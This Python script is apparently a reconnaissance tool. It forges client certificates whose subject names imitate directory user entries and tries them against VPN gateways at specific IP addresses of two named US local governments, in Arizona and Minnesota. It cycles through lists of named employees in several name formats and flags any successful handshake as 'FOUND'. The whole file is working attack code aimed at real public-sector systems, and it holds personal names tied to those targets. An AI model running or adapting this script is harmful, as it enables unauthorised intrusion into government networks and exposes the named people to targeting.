import datetime
import sys

sys.path.insert(0, "/root/recon")
import cp_oracle as co
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from cryptography.x509.name import _ASN1Type

PR = lambda oid, v: x509.NameAttribute(oid, v, _type=_ASN1Type.PrintableString)
DC = lambda v: x509.NameAttribute(NameOID.DOMAIN_COMPONENT, v, _type=_ASN1Type.IA5String)

ORGS = {
    "casa": ("184.185.167.251", "casagrandeaz.gov",
             ["Larry Rains", "Steven Weaver", "Scott Barber", "Kevin Louis", "Brenda Hasler",
              "Daniel Coxworth", "Brett Wallace", "Richard Wilkie", "Matthew Herman", "Anthony Edwards"]),
    "doug": ("151.111.43.2", "douglascountymn.gov",
             ["Brent Birkeland", "Josh Shuck", "John Reitter", "Julie Anderson", "Vicki Doehling",
              "Corey Jobe", "Benjamin Edwards", "Darlene Highet", "Mary Skillings", "Shane Schmidt"]),
    "doug2": ("151.111.43.2", "co.douglas.mn.us",
              ["Brent Birkeland", "Josh Shuck", "John Reitter", "Julie Anderson"]),
}


def mk(name_attr, container, labels):
    parts = [name_attr]
    if container == "CN":
        parts.append(PR(NameOID.COMMON_NAME, "Users"))
    elif container == "OU":
        parts.append(PR(NameOID.ORGANIZATIONAL_UNIT_NAME, "Users"))
    parts += [DC(l) for l in reversed(labels)]
    return x509.Name(parts)


def leaf(name, issuer):
    f = type("F", (), {})()
    f.username = "vpnuser"
    f.signing_key = rsa.generate_private_key(65537, 2048)
    xkey = rsa.generate_private_key(65537, 2048)
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (x509.CertificateBuilder().subject_name(name).issuer_name(issuer)
            .public_key(f.signing_key.public_key()).serial_number(1004)
            .not_valid_before(now - datetime.timedelta(days=1))
            .not_valid_after(now + datetime.timedelta(days=365))
            .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=False)
            .sign(xkey, hashes.SHA256()))
    f.leaf_der = cert.public_bytes(serialization.Encoding.DER)
    f.subject_dn = name.public_bytes()
    f.chain_ders = []
    return f


issuer = x509.Name([PR(NameOID.ORGANIZATION_NAME, "SMC User")])
for key in sys.argv[1:]:
    ip, dom, names = ORGS[key]
    labels = dom.split(".")
    print("== %s %s %s names=%d" % (key, ip, dom, len(names)), flush=True)
    for nm in names:
        variants = [("full", nm)]
        if " " in nm:
            first, last = nm.split(" ", 1)
            variants.append(("lastfirst", last + ", " + first))
        for vlabel, vname in variants:
            for container in ("CN", "OU"):
                name = mk(PR(NameOID.COMMON_NAME, vname), container, labels)
                f = leaf(name, issuer)
                s = co.Session(ip, "vpnuser", timeout=6.0)
                try:
                    r = s.run(f, with_hash=False, fast=True)
                    txt = " | ".join(n[2:] for n in r["notes"] if n.startswith("t:"))
                except Exception as e:
                    txt = "ERR " + str(e)
                    r = {"phase1": None}
                finally:
                    s.close()
                flag = "HIT" if r.get("phase1") else "   "
                print("%s %-14s %-9s %-13s %s" % (flag, nm, vlabel, container, txt[:120]), flush=True)
                if r.get("phase1"):
                    print("FOUND %s %s %s %s" % (key, nm, vlabel, container), flush=True)
